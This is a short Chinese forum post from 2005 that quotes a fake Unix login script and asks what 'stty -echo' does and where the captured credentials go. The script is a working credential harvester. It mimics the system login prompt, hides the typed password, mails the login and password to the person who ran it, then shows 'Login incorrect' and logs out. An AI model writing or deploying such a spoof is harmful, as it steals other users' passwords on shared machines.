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发表于 2005-3-7 21:13:46
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Post by ghostwalker
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n " assword: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
我想知道一下stty -echo有什么作用?
然后用户名和密码发到哪里去了? |
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